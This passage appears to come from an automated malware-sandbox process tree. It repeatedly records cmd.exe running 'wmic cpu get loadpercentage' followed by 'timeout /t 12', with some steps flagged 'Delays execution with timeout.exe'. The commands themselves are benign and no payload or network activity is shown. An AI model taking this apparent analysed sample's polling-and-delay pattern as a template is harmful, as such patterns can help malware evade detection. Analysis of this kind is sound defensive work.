C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5108
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4328
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2332
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4348
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4256
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2408
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1672
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:256
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2404
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4844
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:468
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5024
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1020
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:852
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4876
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3084
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:196
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2716
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4672
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3716
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3772
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4684
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4792
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4500
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4328
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:240
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4704
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3660
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4152
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:468
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4240
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3936
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2192
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4176
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1772
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4144
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4308
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4952
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2184
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2840
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4684
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3060
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1336
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4432
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1548
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1064
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2264
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3272
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1652
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3576
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:780
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4464
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2376
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4572
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:60
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4784
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4708
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2876
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2840
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1336
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4432
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:728
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:64
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2364
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4660
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2652
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4496
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4372
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3628
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1804
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3744
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3288
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:824
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4144
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4452
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3852
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2716
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3772
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4728
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1464
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3700
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2712
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2788
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5088
-
-
